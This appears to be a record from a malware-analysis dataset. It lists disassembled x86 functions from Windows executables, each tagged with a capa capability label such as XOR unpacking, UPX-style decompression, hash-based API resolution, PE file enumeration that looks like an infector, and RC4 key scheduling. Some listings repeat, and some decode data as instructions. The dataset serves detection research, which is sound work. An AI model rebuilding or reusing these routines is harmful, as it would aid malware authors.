joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410c70
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4025e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x70
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x401f20
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
call fcn.00404fd8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea eax, [ebp - 0x64]
push eax
push 0x28
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.00405038
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x70], 0
setne dl
neg edx
movsx eax, dx
test eax, eax
je 0x410e25
mov dword [ebp - 4], 4
xor ecx, ecx
test ecx, ecx
je 0x410d46
mov dword [ebp - 4], 6
mov dword [ebp - 0x6c], 0x1c
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x3c]
push eax
push 0x1c
lea ecx, [ebp - 0x60]
push ecx
push 0
mov edx, dword [ebp - 0x64]
push edx
call fcn.00405088
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
jmp 0x410e25
mov dword [ebp - 4], 9
lea eax, [ebp - 0x44]
push eax
push 0x404ae4
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0
call fcn.004050e8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x6c], 0
setne dl
neg edx
mov word [ebp - 0x74], dx
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
movsx eax, word [ebp - 0x74]
test eax, eax
je 0x410e25
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x60], 1
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410dc3
mov dword [ebp - 0x8c], 0
jmp 0x410dcf
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x74]
imul edx, edx, 0xc
lea eax, [ebp + edx - 0x5c]
push eax
push 8
call dword [sym.imp.MSVBVM60.DLL___vbaCopyBytes]
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410e06
mov dword [ebp - 0x90], 0
jmp 0x410e12
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x74]
imul ecx, ecx, 0xc
mov dword [ebp + ecx - 0x54], 2
jmp 0x410d14
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x64]
push edx
call fcn.00404e50
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
push 0x410e4d
jmp 0x410e4c
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x401038
Capabilities:
Query environment variable

Disassembly:
pushal
push 0
push 0
call 0x40104e
outsd dx, dword [esi]
jo 0x4010aa
js 0x40107b
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add al, ch
mov cl, 4
add byte [eax], al
cmp eax, 2
jl fcn.00401068
mov cx, 0x4550
add eax, dword [eax + 0x3c]
xor cx, word [eax]
je 0x40146c
mov ah, 1
add byte [eax], al
add byte [eax], al
lea ecx, [0x403050]
sub dword [ecx + 0x20], 0x27
push ecx
call sub.USER32.dll_GetFocus
pop ecx
push ecx
push ebx
push dword [ecx + 0x144]
push dword [ecx + 0x54]
call fcn.00401370
pop ecx
push ecx
lea edi, [ecx - 0x50]
push edi
call sub.KERNEL32.dll_GetModuleHandleA
test eax, eax
jne 0x4010cf
pop ecx
add esp, 0x2c
pop ebp
ret 0x10
enter 0x40, 0
mov esi, 0x4030e4
sbb dword [esi - 0x3c], edi
push 0
call sub.USER32.dll_SetForegroundWindow
push esi
push ecx
push dword [esi + 0xa4]
push dword [esi + 0x1c8]
push dword [esi + 0x7c]
call fcn.00401428
pop esi
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push dword [esi + 0x9c]
pop edi
call edi
add esp, 0x40
pop ebp
ret

Function at 0x40104e
Capabilities:
Query environment variable

Disassembly:
pushal
push 0
push 0
call 0x40104e
outsd dx, dword [esi]
jo 0x4010aa
js 0x40107b
xor ch, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add al, ch
mov cl, 4
add byte [eax], al
cmp eax, 2
jl fcn.00401068
mov cx, 0x4550
add eax, dword [eax + 0x3c]
xor cx, word [eax]
je 0x40146c
mov ah, 1
add byte [eax], al
add byte [eax], al
lea ecx, [0x403050]
sub dword [ecx + 0x20], 0x27
push ecx
call sub.USER32.dll_GetFocus
pop ecx
push ecx
push ebx
push dword [ecx + 0x144]
push dword [ecx + 0x54]
call fcn.00401370
pop ecx
push ecx
lea edi, [ecx - 0x50]
push edi
call sub.KERNEL32.dll_GetModuleHandleA
test eax, eax
jne 0x4010cf
pop ecx
add esp, 0x2c
pop ebp
ret 0x10
enter 0x40, 0
mov esi, 0x4030e4
sbb dword [esi - 0x3c], edi
push 0
call sub.USER32.dll_SetForegroundWindow
push esi
push ecx
push dword [esi + 0xa4]
push dword [esi + 0x1c8]
push dword [esi + 0x7c]
call fcn.00401428
pop esi
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push dword [esi + 0x9c]
pop edi
call edi
add esp, 0x40
pop ebp
ret

Function at 0x401068
Capabilities:
Query environment variable

Disassembly:
enter 0x24, 0
lea ebx, [edx - 0xc8]
add eax, dword [ebx - 0xa4]
push ebx
push dword [ebx + 0x1b4]
push esi
push edx
push dword [ebx + 0x68]
call section..text
pop ebx
call sub.KERNEL32.dll_GetEnvironmentStringsA
lea edi, [ebx - 0xa4]
mov ebx, 0xffffff5c
push edi
call sub.KERNEL32.dll_GetModuleHandleA
test eax, eax
jne 0x401090
add esp, 0x24
pop ebp
ret 8

Function at 0x40112c
Capabilities:
Get disk information

Disassembly:
enter 0x58, 0
lea edx, [ecx + 0x120]
sub dword [ebp - 0x34], 0x6cb4fabd
push edx
push dword [edx + 0x1b8]
push ecx
call fcn.00401068
pop edx
push edx
call sub.KERNEL32.dll_GetLogicalDrives
pop edx
push edx
call sub.USER32.dll_GetFocus
pop edx
add esp, 0x58
pop ebp
ret 0x10
Function at 0x401198
Capabilities:
Query environment variable

Disassembly:
enter 0x2c, 0
lea eax, [0x40313c]
mov dword [ebp - 0x28], 0x521cc27d
push eax
push edx
push dword [eax + 0xa8]
push dword [eax + 0x1c]
call fcn.00401918
pop eax
push eax
call sub.KERNEL32.dll_GetEnvironmentStringsA
pop eax
push eax
lea ebx, [eax - 0x13c]
push ebx
call sub.KERNEL32.dll_GetModuleHandleA
test eax, eax
jne 0x4011c2
pop eax
add esp, 0x2c
pop ebp
ret 0x10

Function at 0x4012ac
Capabilities:
Get disk information

Disassembly:
enter 0x20, 0
lea esi, [0x403068]
adc dword [esi + 0x130], ebx
push esi
push dword [esi + 0x60]
push dword [esi + 0x1d4]
call fcn.004016a8
pop esi
call sub.KERNEL32.dll_GetCurrentThread
call sub.KERNEL32.dll_GetLogicalDrives
add esp, 0x20
pop ebp
ret 0xc

Function at 0x401568
Capabilities:
Query environment variable

Disassembly:
enter 0x60, 0
lea edi, [0x403178]
xor dword [edi - 0x134], edi
push edi
push esi
push dword [edi + 0x170]
push edx
push esi
call fcn.004014ac
pop edi
call sub.KERNEL32.dll_GetEnvironmentStringsA
mov eax, 0
push eax
call sub.USER32.dll_SetForegroundWindow
add esp, 0x60
pop ebp
ret 8

Function at 0x4015b0
Capabilities:
Get disk information

Disassembly:
enter 0x24, 0
lea ebx, [edi - 0x60]
sbb ecx, dword [ebp - 0x18]
push ebx
push edx
push edi
push dword [ebx + 0xe8]
push dword [ebx + 0xb4]
call fcn.0040177c
pop ebx
call sub.KERNEL32.dll_GetLogicalDrives
mov edx, 0
push edx
call sub.USER32.dll_SetActiveWindow
add esp, 0x24
pop ebp
ret 8

Function at 0x401664
Capabilities:
Query environment variable

Disassembly:
enter 0x48, 0
mov ebx, 0x4030d0
sbb eax, 0x47cea6da
call sub.KERNEL32.dll_GetEnvironmentStringsA
push ebx
push edi
push dword [ebx + 0x16c]
push eax
push dword [ebx + 0x190]
call fcn.00401a00
pop ebx
call sub.KERNEL32.dll_GetACP
add esp, 0x48
pop ebp
ret 0xc

Function at 0x401738
Capabilities:
Query environment variable

Disassembly:
enter 0x24, 0
lea eax, [0x403128]
xor edi, dword [eax - 0x88]
push eax
push dword [eax + 0x90]
push edi
push dword [eax + 0xdc]
call fcn.0040186c
pop eax
push eax
lea eax, [eax - 0x128]
push eax
call sub.KERNEL32.dll_GetModuleHandleA
test eax, eax
jne 0x40175d
pop eax
push eax
call sub.KERNEL32.dll_GetEnvironmentStringsA
pop eax
add esp, 0x24
pop ebp
ret 0x10
Function at 0x43db40
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x43dcc8
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2f000]
push edi
or ebp, 0xffffffff
jmp 0x43db6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x43db71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x43db60
mov eax, 1
add ebx, ebx
jne 0x43db83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x43db78
jne 0x43db94
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43db78
xor ecx, ecx
sub eax, 3
jb 0x43dba8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x43dc1a
mov ebp, eax
add ebx, ebx
jne 0x43dbb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x43dbc0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x43dbe4
inc ecx
add ebx, ebx
jne 0x43dbd0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x43dbc5
jne 0x43dbe1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43dbc5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43dc04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43dbf5
jmp 0x43db66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43dc04
add edi, ecx
jmp 0x43db66
pop esi
mov edi, esi
mov ecx, 0xf61
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43dc22
cmp byte [edi], 6
jne 0x43dc22
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x43dc27
lea edi, [esi + 0x3a000]
mov eax, dword [edi]
or eax, eax
je 0x43dc96
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3d218]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3d2cc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43dc54
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3d2d0]
or eax, eax
je 0x43dc90
mov dword [ebx], eax
add ebx, 4
jmp 0x43dc71
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x43dcc7
cmp al, 0xef
ja 0x43dcba
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x43dc9c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x43dca9
popal
jmp 0x41e3f0

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x42e01e
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x401fdc
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
add esp, 0xfffffff4
push 0x405150
call sub.msvcrt.dll_strlen
add esp, 0x10
mov eax, eax
lea edx, [eax + 0x40514f]
mov dword [ebp - 4], edx
lea esi, [esi]
cmp dword [ebp - 4], 0x405150
jb 0x40202c
mov eax, dword [ebp - 4]
cmp byte [eax], 0x2e
je 0x40202c
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
je 0x40202c
mov eax, dword [ebp - 4]
cmp byte [eax], 0x2f
je 0x40202c
mov eax, dword [ebp - 4]
cmp byte [eax], 0x3a
jne 0x402030
jmp 0x40202c
jmp 0x402038
dec dword [ebp - 4]
jmp 0x402000
mov eax, dword [ebp - 4]
cmp byte [eax], 0x2e
je 0x402055
add esp, 0xfffffff8
push 0x401f69
push 0x405150
call sub.msvcrt.dll_strcat
add esp, 0x10
add esp, 0xfffffff8
push 0x401f6e
push 0x405150
call sub.msvcrt.dll_fopen
add esp, 0x10
mov eax, eax
mov dword [0x405260], eax
cmp dword [0x405260], 0
jne 0x4020d0
add esp, 0xfffffff8
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
push eax
push 0x401f71
call sub.msvcrt.dll_fputs
add esp, 0x10
add esp, 0xfffffff8
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
push eax
push 0x405150
call sub.msvcrt.dll_fputs
add esp, 0x10
add esp, 0xfffffff8
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
push eax
push 0xa
call sub.msvcrt.dll_fputc
add esp, 0x10
add esp, 0xfffffff4
push 4
call sub.msvcrt.dll_exit
add esp, 0x10
nop
add esp, 0xfffffff4
push 0x2000
call sub.msvcrt.dll_malloc
add esp, 0x10
mov eax, eax
mov dword [0x405140], eax
mov eax, dword [0x405260]
push eax
push 0x2000
push 1
mov eax, dword [0x405140]
push eax
call sub.msvcrt.dll_fread
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xff
jle 0x40211c
cmp dword [ebp - 8], 0x2000
je 0x40211c
jmp 0x402174
add esp, 0xfffffff8
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
push eax
push 0x401f8e
call sub.msvcrt.dll_fputs
add esp, 0x10
add esp, 0xfffffff8
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
push eax
push 0x405150
call sub.msvcrt.dll_fputs
add esp, 0x10
add esp, 0xfffffff8
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
push eax
push 0xa
call sub.msvcrt.dll_fputc
add esp, 0x10
add esp, 0xfffffff4
push 6
call sub.msvcrt.dll_exit
add esp, 0x10
lea esi, [esi]
mov eax, dword [0x405140]
mov dword [0x405280], eax
mov eax, dword [0x405280]
mov edx, dword [ebp - 8]
cmp edx, dword [eax + 2]
je 0x402210
mov eax, dword [0x405280]
cmp word [eax + 0x75], 0x1e
je 0x402210
mov eax, dword [0x405280]
cmp dword [eax + 0x8b], 0x4b
jbe 0x402210
mov eax, dword [0x405280]
cmp dword [eax + 0x8b], 0x1ff
ja 0x402210
add esp, 0xfffffff8
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
push eax
push 0x401fb4
call sub.msvcrt.dll_fputs
add esp, 0x10
add esp, 0xfffffff8
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
push eax
push 0x405150
call sub.msvcrt.dll_fputs
add esp, 0x10
add esp, 0xfffffff8
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
push eax
push 0xa
call sub.msvcrt.dll_fputc
add esp, 0x10
add esp, 0xfffffff4
push 6
call sub.msvcrt.dll_exit
add esp, 0x10
nop
leave
ret
Function at 0x406409
Capabilities:
Resolve function by hash

Disassembly:
mov eax, dword fs:[0x30]
test eax, eax
js 0x40641f
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
mov ebx, dword [eax + 8]
jmp 0x406428
mov eax, dword [eax + 0x34]
mov ebx, dword [eax + 0xb8]
pop esi
add esi, 3
push ebx
mov edx, 0xec0e4e8e
call esi
push eax
mov edx, 0x7c0dfcaa
call esi
push eax
push edi
mov edx, 0x4ee4a045
call esi
xor edx, edx
push edx
push 0x6d756369
push 0x6c656167
push esp
push edx
push edx
call eax
push eax
mov edx, 0x75da1966
call esi
call eax
xchg edi, eax
mov edx, 0xffd97fb
call esi
call eax
cmp edi, 0xb7
jne 0x406477
mov esp, ebp
popal
ret
call fcn.00406498
sti
xchg edi, eax
std
pcmpeqd mm5, qword [ebp - 0x50]
inc ebp
jb 0x406484
mov bl, 0x16
mov eax, dword [0xd2d83d6a]
invalid

Function at 0x406ad3
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push edx
push ebx
call dword [edi + 0x30]
push edi
push eax
or esi, esi
jne 0x406aec
pop eax
cmp byte [ebx + eax - 1], 0x5c
jne 0x406afa
dec eax
jmp 0x406afa
push esi
call dword [edi + 0x30]
xchg ecx, eax
pop eax
lea edi, [ebx + eax]
add eax, ecx
inc ecx
rep movsb byte es:[edi], byte [esi]
call 0x406b04
pop esp
sub ch, byte [esi]
sub al, byte [eax]
pop esi
lea edi, [ebx + eax]
push edi
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
inc esi
pop edi
push ebx
push esi
push dword [ebp - 4]
push ebx
call dword [edi + 0x38]
mov byte [esi], 0
cmp eax, 0xffffffff
je 0x406b8b
mov esi, eax
mov ebx, dword [ebp - 4]
test byte [ebx], 0x10
lea ebx, [ebx + 0x2c]
je 0x406b42
cmp byte [ebx], 0x2e
je 0x406b72
push esi
mov edx, dword [ebp - 4]
mov esi, ebx
mov ebx, dword [ebp - 8]
call fcn.00406ad3
pop esi
jmp 0x406b72
push ebx
call dword [edi + 0x30]
push eax
call 0x406b51
js 0x406bb5
add byte [ebp + 0x51fc034c], cl
call dword [edi + 0x34]
or eax, eax
pop ecx
jne 0x406b72
push esi
push edi
mov esi, ebx
mov edi, dword [ebp - 0xc]
inc ecx
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp - 8]
call fcn.00406b8d
pop esi
mov ebx, dword [ebp - 0xc]
mov byte [ebx], 0
push dword [ebp - 4]
push esi
push 1
call dword [edi]
call dword [edi + 0x3c]
or eax, eax
jne 0x406b21
push esi
call dword [edi + 0x40]
leave
ret
jae 0x406c22
jb 0x406c27
insb byte es:[edi], dx
js 0x406c23
invalid
Function at 0x406b04
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push edx
push ebx
call dword [edi + 0x30]
push edi
push eax
or esi, esi
jne 0x406aec
pop eax
cmp byte [ebx + eax - 1], 0x5c
jne 0x406afa
dec eax
jmp 0x406afa
push esi
call dword [edi + 0x30]
xchg ecx, eax
pop eax
lea edi, [ebx + eax]
add eax, ecx
inc ecx
rep movsb byte es:[edi], byte [esi]
call 0x406b04
pop esp
sub ch, byte [esi]
sub al, byte [eax]
pop esi
lea edi, [ebx + eax]
push edi
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
inc esi
pop edi
push ebx
push esi
push dword [ebp - 4]
push ebx
call dword [edi + 0x38]
mov byte [esi], 0
cmp eax, 0xffffffff
je 0x406b8b
mov esi, eax
mov ebx, dword [ebp - 4]
test byte [ebx], 0x10
lea ebx, [ebx + 0x2c]
je 0x406b42
cmp byte [ebx], 0x2e
je 0x406b72
push esi
mov edx, dword [ebp - 4]
mov esi, ebx
mov ebx, dword [ebp - 8]
call fcn.00406ad3
pop esi
jmp 0x406b72
push ebx
call dword [edi + 0x30]
push eax
call 0x406b51
js 0x406bb5
add byte [ebp + 0x51fc034c], cl
call dword [edi + 0x34]
or eax, eax
pop ecx
jne 0x406b72
push esi
push edi
mov esi, ebx
mov edi, dword [ebp - 0xc]
inc ecx
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp - 8]
call fcn.00406b8d
pop esi
mov ebx, dword [ebp - 0xc]
mov byte [ebx], 0
push dword [ebp - 4]
push esi
push 1
call dword [edi]
call dword [edi + 0x3c]
or eax, eax
jne 0x406b21
push esi
call dword [edi + 0x40]
leave
ret
jae 0x406c22
jb 0x406c27
insb byte es:[edi], dx
js 0x406c23
invalid

Function at 0x406b8d
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor edx, edx
push edx
push edx
push 3
push edx
push 1
push 0xc0000000
push eax
mov esi, eax
push esi
call dword [edi + 0x30]
lea esi, [esi + eax - 0xc]
push esi
call fcn.00406bbf
outsb dx, byte [esi]
je 0x406c24

Function at 0x406bbf
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
call dword [edi + 0x34]
or eax, eax
jne 0x406bc8
leave
call dword [edi + 0x44]
mov ebx, eax
inc ebx
jne 0x406bda
dec ebx
push 0x40
pop esi
sub esp, esi
mov edx, esp
push 0
push esp
push esi
push edx
push ebx
call dword [edi + 0x48]
cmp dword [esp - 4], esi
jne 0x406bd0
cmp word [esp], 0x5a4d
jne 0x406bd0
cmp byte [esp + 0x32], 0x56
je 0x406bd0
push eax
add esp, esi
pop esi
mov dword [ebp - 0x1c], esi
push 0
push 0
push esi
push ebx
call dword [edi + 0x50]
inc eax
je 0x406bd0
sub esp, 0x58
mov edx, esp
push 0
push esp
push 0x58
push edx
push ebx
call dword [edi + 0x48]
Function at 0x4021e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x234
mov eax, dword [0x429040]
xor eax, esp
mov dword [esp + 0x230], eax
push ebx
push esi
push edi
mov dword [esp + 0x2c], 0x52800
xor ecx, ecx
mov esi, 0x13
nop dword [eax]
mov eax, ecx
mov byte [esp + ecx + 0x38], cl
xor edx, edx
div esi
mov al, byte [edx + 0x47c2c0]
mov byte [esp + ecx + 0x138], al
inc ecx
cmp ecx, 0x100
jl 0x402210
xor esi, esi
xor edi, edi
nop dword [eax]
nop dword [eax + eax]
mov dl, byte [esp + esi + 0x38]
movzx eax, byte [esp + esi + 0x138]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x402263
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [esp + edi + 0x38]
mov byte [esp + esi + 0x38], al
inc esi
mov byte [esp + edi + 0x38], dl
cmp esi, 0x100
jl 0x402240
xor eax, eax
mov edi, 0x3e8
xor esi, esi
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], esi
cmp eax, esi
je 0x4022a4
mov dword [eax], 0x52800
add eax, 4
mov dword [esp + 0x18], eax
jmp 0x4022bb
lea ecx, [esp + 0x2c]
push ecx
push eax
lea ecx, [esp + 0x1c]
call fcn.004043a0
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
sub edi, 1
jne 0x402291
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x24], esi
cmp dword [ebx], edi
jle 0x4023aa
xor esi, esi
inc esi
and esi, 0x800000ff
jns 0x4022e3
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [esp + esi + 0x38]
mov eax, dword [esp + 0x10]
movzx edx, cl
add eax, edx
and eax, 0x800000ff
jns 0x4022fe
dec eax
or eax, 0xffffff00
inc eax
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x38]
mov byte [esp + esi + 0x38], al
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x38], cl
movzx eax, byte [esp + esi + 0x38]
add eax, edx
movzx eax, al
mov dword [esp + 0x28], eax
call fcn.00403530
mov dword [esp + 0x20], eax
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
mov ecx, dword [ecx + eax + 0x30]
mov eax, dword [ecx + 4]
mov ecx, eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x18], eax
mov edx, dword [eax]
call dword [edx + 4]
lea eax, [esp + 0x14]
push eax
call fcn.00403390
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0xa
mov eax, dword [edx + 0x20]
call eax
mov ecx, dword [esp + 0x30]
mov byte [esp + 0x34], al
test ecx, ecx
je 0x402379
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x402379
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push dword [esp + 0x34]
mov ecx, dword [esp + 0x24]
call fcn.00403fa0
mov ecx, dword [esp + 0x20]
call fcn.00403d00
mov eax, dword [esp + 0x28]
mov al, byte [esp + eax + 0x38]
xor byte [edi + 0x429ac0], al
inc edi
cmp edi, dword [ebx]
jl 0x4022d2
mov esi, dword [esp + 0x24]
sub esi, ebx
mov eax, ebx
and esi, 0xfffffffc
cmp esi, 0x1000
jb 0x4023c9
mov ebx, dword [eax - 4]
add esi, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4023e8
push esi
push ebx
call fcn.00407d33
mov ecx, dword [esp + 0x244]
add esp, 8
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00407cf0
mov esp, ebp
pop ebp
ret
call fcn.0040c9f3
int3